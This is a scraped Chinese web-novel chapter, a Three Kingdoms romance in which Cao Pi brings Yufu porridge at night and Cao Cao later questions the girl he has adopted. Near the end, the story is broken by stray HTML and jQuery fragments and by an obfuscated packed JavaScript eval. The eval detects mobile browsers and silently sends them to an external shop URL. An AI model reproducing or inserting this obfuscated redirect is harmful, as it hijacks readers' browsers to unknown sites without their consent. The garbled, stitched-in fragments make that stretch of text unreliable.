文趣网 > 其他小说 > 魏文帝的阴湿少年赏味期 > 8. 第 8 章
    玉芙不知该如何应答,却看见曹丕去而复返,手上真给她端来了碗小米粥。

    只有一碗,一看就是给她的。

    玉芙十分识趣,连忙从被窝里爬起身,抬手将燃尽余烬的烛火重新挑亮。

    她身上只着一身轻薄缎面寝衣,赤着双足踩在冰凉的地砖上,寒气顺着足底往上漫,脚尖冻得泛出淡淡的绯色,乖乖在案前落座。

    曹丕的眼神游移一瞬。

    “你还会煮小米粥呀?”

    曹丕抬眼,她这语气和方才都像是两个人了,果然是狡诈多变。

    “从后厨要的。”

    后厨大晚上怎么会有温热的小米粥呢?玉芙自然不会去问这样的问题,是她的运气好呀,所以才总会遇上好心人。

    她小口小口,吃得十分斯文,暖暖的半碗下肚,整个人也有了精神,曹丕就坐在身侧,安安静静望着她,仿佛专等她食毕,便要收走碗盏。

    她不知为何曹丕的态度怎能转变如此之快,但她却是最知如何顺杆往上爬的。

    玉芙舔了舔唇边,眼底带着几分恳求和讨好:“二公子,今夜之事,可不可以不要告诉旁人呀?明日我便去把迷迭香那处清理干净。”

    她说罢,放下手中的碗,又赤脚踏过地面,走到榻上从枕下取出个小盒子,拿出一只玉镯递到曹丕面前,想要贿赂:“这个是我身上唯一的好东西了,可以暂时押在你那里。”

    玉镯通体莹润青绿,在朦胧夜色里流转着柔和的微光。

    人与人之间,最易因些琐碎的物件产生千丝万缕的羁绊。

    “但是你日后还是要还给我的,它对我来说很重要。”玉芙小声补充道。

    “甄葭,”曹丕的声音依旧清冷,并不愿踏入女郎为他设下的筵席,“你觉不觉得你有些越界了?”

    “今晚的事并不是我们之间的秘密,是你欠了我的债,要慢慢还债。”

    “昨日你说的那些话,我尚且信过几分。你在曹家治病,等着还完了今夜这笔债后,便是两不相欠。”

    玉芙的目光落在桌案那只方才取出的玉镯上,唇瓣微动,还想再说几句争辩或是求情的话。

    曹丕顺着她的视线看去,摇摇头:“欠什么,该如何偿还,由我说了算。我还不至于要强夺你的贴身之物。”

    “是你母亲留给你的?”

    玉芙被问得眼神骤然躲闪,眸色晃了晃,曹丕也并未步步紧逼,无意深究她的答复。

    前日二人尚且针锋相对,水火不容,今夜倒能这般平和地同坐一室,但也到此为止了。曹丕目光微微一侧,落向身侧的玉芙,望着她垂首喝粥的模样,眉眼柔和,尚且带着几分稚气。

    “父亲不是那么好心的一个人,看你可怜就把你捡回家。你身上必定有他想要的东西。”曹丕拿起案上那只吃空的瓷碗,方才唇角那点浅淡的笑意尽数敛去,语调冷了几分,“与其想着怎么应付我,不如好好想想你自己有何价值。”

    “你听得懂我的话吗?”

    玉芙抬眼望他,一双眼澄澈,看上去温顺安分。

    装乖……

    曹丕望着她这副模样,想要伸出手指,狠狠戳上她的额头。

    他本等着她的回应,可又不愿再同她继续纠缠,没等玉芙开口作答,便淡淡吐出一句:“算了。”

    曹丕方转过身,空着的右手突然被一双软嫩的小手握住,只听女郎盈盈开口:“二公子,您之前救我,便是我的恩人。您知道我的身份,却也不曾戳穿我,连我今日犯了错,您也愿意原谅我,您是我见过顶好的人!”

    她凑得更近,肩头几乎贴上他的衣袖,头颅微微倾斜,眼看便要轻轻倚靠在曹丕小臂之上:“您放心,我日后一定会报答您。”

    方才曹丕一番话,玉芙一字不落地听进耳中。那哪里是提防呢?她觉得分明是关心!

    她是最知道有一类人,说话向来口不应心。

    什么两不相欠,她偏要欠!

    曹丕像是被烫到似的,第一反应就是要抽开手,不知是不是玉芙握得太紧,他一时间没能挣脱。

    怎么会有人的手软成这样?

    曹丕只觉得甄葭这一番话,打乱了他原本为二人划下的规矩,将主动权抢回了她的手上。

    今夜乱糟糟的,曹丕扔下一句“随你”后推门而出,入夜的晚风穿廊而过,吹得他原本混沌的神思逐渐清明。

    今夜为了她,耽误了好些时间。

    曹丕看着手上端着的粥碗,心道定是被她那句轻飘飘的“好心人”搅乱心神,才会做出这般有失分寸的蠢事。

    他默默转身往回走,他本该走的那条路。

    一推开书斋偏门,不用他刻意找寻,曹丕便看见那柄短刀安稳置于案上,刀身镶嵌的宝石在暗夜下借着身后的月光折射出灼目光芒,刺得人眼睫微颤。

    那短刀孤孤单单地横在案上,等着他,像是已经躺了许多天了。

    甄葭还是押了东西在他这儿了。

    重又看见这把短刀,曹丕心里没有欣喜,倒有一种让她得逞了的气闷,像是今日两人谈话的余波,专在这里等着他。

    自己的短刀,怎么就沾染了别人的气息呢?

    甄葭在曹府,曹丕觉得浑身都不自在。

    他想起前日去见长兄,却因为甄葭,只能立在门外,做个偷听的小人。

    “阿植年纪小,平日里却是最玩闹的,不及阿丕儿时半分乖巧。”

    屋内是曹昂的声音,曹丕听见长兄在谈论他。

    “之前父亲有回当着几个世叔的面狠罚了阿植,让他回去把他的课业重写一遍,他面上就不服,回去更是一个人躲在屋子里气哭了,我去看他时,他竟然真的乖乖坐在书桌前,本以为是在写课业,谁知端着砚台放在眼睛底下,说是要集泪,要用泪水来研墨,再写在纸上去拿给父亲看。”

    “弄得半张脸都黑黑的,像是个小花猫,然后同我说他那泪珍贵,是湘妃泪。”

    一提到湘妃泪,曹植的脸涨得红红的,玉芙却早在一旁笑作一团,拿素白的手指戳戳他右边半张脸,活像是个随时会戳破的球。

    曹丕立在门外静静听着,兄长讲的是阿植的事,里面的气氛暖融融的,倒是不需要他去横插一脚,做些锦上添花的闲工夫。

    玉芙的眼睛亮亮的,曹植却好像在躲着她的目光,玉芙便在曹植身旁转着脑袋,小猫似的凑来凑去,像是非要揶揄他一番不可。

    很亲近呢……

    曹丕站在帘外,一时不知该不该进去,只听得曹昂又说:“你二哥的字写得最好,我们几个都不及他。”

    “对呀对呀,芙芙姐,二哥的字、二哥的骑射,都是父亲手把手教的。”曹植声音软糯,眼睛里满是崇拜。

    曹丕不明白自己为何还要在这门外站着,转身欲走,屋内少女清亮柔和的声音却不偏不倚传入耳中:“二哥的字虽好,我却是个笨学生,只怕二哥对我没耐心。”

    “他若是拒绝我,那我的面子该往哪儿搁呀,我所有美好的品德都会消失的!”

    “芙芙姐,你别怕,我教你,你要……”曹植在甄葭耳边耳语,后面说了些什么,曹丕一句话也不曾听见。

    ……

    玉芙不喜欢被人抓着小尾巴,昨晚的事本就是她的不对,她自然要去善后。

    昨晚她明显就感受到曹丕对她的态度渐渐软了下来。

    昨天叫的是二公子,今天就可以试试叫二哥了!

    思及此,玉芙心情愈好,她起了个大早,对着镜子草草用手笼了一笼头发,就提着个装满了水的木桶,勤勤恳恳去了园圃。她不敢浇太多水,怕这花不耐受,忙活了半天总算满意。

    不过,迷迭花真的好香啊。

    馥郁的迷迭香气萦绕鼻尖,细细嗅闻,竟和曹丕身上那股清冽冷香有几分相似。

    “女公子!您怎么来这儿了,叫奴婢好找。”小冉跑得气喘吁吁,“女公子,主君唤您过去。”

    主君?玉芙直起腰,用袖子轻擦去额角的薄汗,她听见小冉这话,自然想起昨晚曹丕的叮嘱。

    她本以为此番只是自己与曹操二人单独说话,踏入屋内才看见曹昂已然端坐其中,玉芙悬着的心立马放下了许多。

    他笑得亲和,嘱咐了句:“芙妹,一会父亲问你什么,你据实应答便好,不必刻意说些逢迎讨好的话。”

    玉芙点点头。

    她和曹昂相处的时间最长,华朔在府中的主要任务便是给他治伤,他们两个病号总能碰上。

    曹昂为人温和,从不大声说话,平日里总是坐在素舆上,玉芙同他说话,总要微微垂眸方能对上他的视线。他面色常年泛着病态的苍白,一身素色衣衫之下,不过勉强撑着一具单薄躯壳。

    在他身边是看不到痛苦的,不论谁望去都是那张带着笑的脸,有时的笑意深一些,有时的浅一些。

    “父亲捡我,是为了将我嫁给旁人么?”玉芙小声问道,一副小心翼翼的样子。

    曹昂附耳去听玉芙的耳语,听闻此言,不禁哑然失笑。

    “你怎会如此想?曹家没有十五岁就嫁女儿的规矩。”

    玉芙脸颊一热,垂下头,不复方才的坦荡。她尚未来得及回话,便看见曹操迈步走入屋内。

    曹操今日穿着件半新不旧的衣服,面染风尘,容貌寻常,初看并无慑人之姿,至少在玉芙眼中并不吓人。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17901999|212958||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    一进门,他的视线便全然落在了玉芙身上,她发髻梳得随便,脸上不施粉黛、素面朝天,却已经难掩姿容。

    “近来在府中,日子过得可顺心?前些时日的病症可有在发作?”

    曹操走到玉芙跟前,他好似并不在意听到怎样的答案,仍旧端详着玉芙的容貌,甚至一丝注意力都不曾留给曹昂。

    “夫人待我很好,小昂哥待我也很好,府中的华医师配的药也好,这些日子一点也没疼着。”玉芙话语里还是拘谨着的,目光不住悄悄瞟向身侧的曹昂,仿佛只要看见他,心底便能落下几分安稳。

    曹昂唇角微抿,缄默不语,却也没有回避的意思。

    曹操又问了好些寻常事,问玉芙饭菜偏重哪里的口味,字写得好不好,都读过哪些书,玉芙都照常答了。

    曹操此刻真的像是位宽和、关爱女儿的父亲,与玉芙原本的揣测大相径庭。

    钝刀子磨人,曹操问及玉芙的父母双亲,她只能是一个大谎接着一个小谎,不过几句交锋后背便起了一层薄汗。

    玉芙毫无觉察,此刻曹操心底翻涌着难以言说的念头。

    他想把手放在她的发顶,握住她的手,或是把她抱在自己臂弯里。

    可偏偏眼前的女郎出落得太艳,浑身的幼态都已褪去,让他一不留神,便会用错误的目光来看她。

    他有意无意避开着曹昂的眼神,却仍是会被刺到。父子间共享着一个心照不宣的秘密,维持着一层微妙又脆弱的平衡。

    几番对答下来,曹操神色渐渐舒展,心境松弛不少,心底也渐渐敲下了定论。

    曹芙的性子比她更软一些,爱好也不甚相同,唯有半掩唇浅笑的时候,最像亡女曹菁。

    曹操无缘无故说了句:“你长大了。”

    玉芙隐隐觉得,曹操好像有些话,碍于曹昂的面,并没有同她直说。她不解其意,看向曹昂,两人的视线却恰好相触而过。

    “身子若是无碍,平日里有空便来书房替我抄些《孝经》吧。”

    “是,父亲。”

    玉芙虽不能明白曹操的意图,但还是满口答应下来。

    她骤然起身,失手撞翻案上茶盏。清茶淌漫案面,如龙蛇迤逦,待到边缘,才一缕缕垂落,堪堪坠向地面。

    淅淅沥沥。

    覆水难收。

    众人视线不约而同聚拢,一齐凝在那只尚在案面震颤、声声轻响的茶盏之上。玉芙想扶起那倾倒的茶盏,却不慎被茶汤烫到。

    那声音刺耳,原本平静的心反倒被那声音给搅乱了。

    “还是这般不当心,”曹操挥手让玉芙退下,“你母亲最是听不得瓷器声。”

    玉芙手上袖上沾着些茶渍,有些手足无措,卞夫人并不在此,她想起曹操口中之前念叨的名字。

    ——丁娥。

    曹操这话说得莫测,好像专为秘事撕开了一道裂口子,他已全盘托出,露出不少马脚,听者若是无意,那便是不曾听懂弦外之音。

    待屋内只剩父子二人,曹昂语气里带着克制,淡淡道:“父亲这样做,当真就能心安了么?”

    曹操并未觉得冒犯,也不曾回答他这个问题,反而朗声笑道:“方才我听见她唤你小昂哥?”

    “子脩,你不是已经取字了么?为何还执着于让他唤你这个?”

    “当年曹菁最喜欢这样叫你,如今你把这称呼又交给了她,你听她这样喊你的时候,心里是恼怒还是愉悦?”

    曹昂沉默着,脸上的病色更重了一分。

    曹操干笑两声,语气转而漫上一层温软追忆,道:“我记得你满月时,小猫似的,连眼睛都不怎么睁开,你母亲整日为你悬心,一场流觞宴为你办了半月。每一回我抱你,她总要守在一旁,生怕我力道失当,委屈了你。”

    “我收养曹芙,便是想告诉她,其实一切都能如初,但如若你母亲还是不能想明白,那我还可以告诉她一些新的道理。”

    “父亲!”曹昂喊道,看着父亲这般模样,满是不解,“母亲是不会回来的!您早就被他丢弃了!儿子因为对父亲的一再妥协,也已经被母亲舍弃了!”

    曹操拍了拍曹昂的肩膀,神色看不出悲伤:“你心里还怪我吗?”

    人死万事皆休,亡者便再也不会有半句诘问。可是曹昂却活着,只要曹操望见他,宛城那夜的厮杀惨状便会在脑海中翻涌重现;只要瞥见他残缺的双腿,就会记起那一夜的声色迷乱,还有仓皇奔逃的狼狈。

    “是父亲要封张绣,要与他泯恩仇。”

    “子脩,你不够了解你的父亲,也不够了解你母亲。”

    曹操说罢离去,大殿只剩曹昂一人,身影寂寥。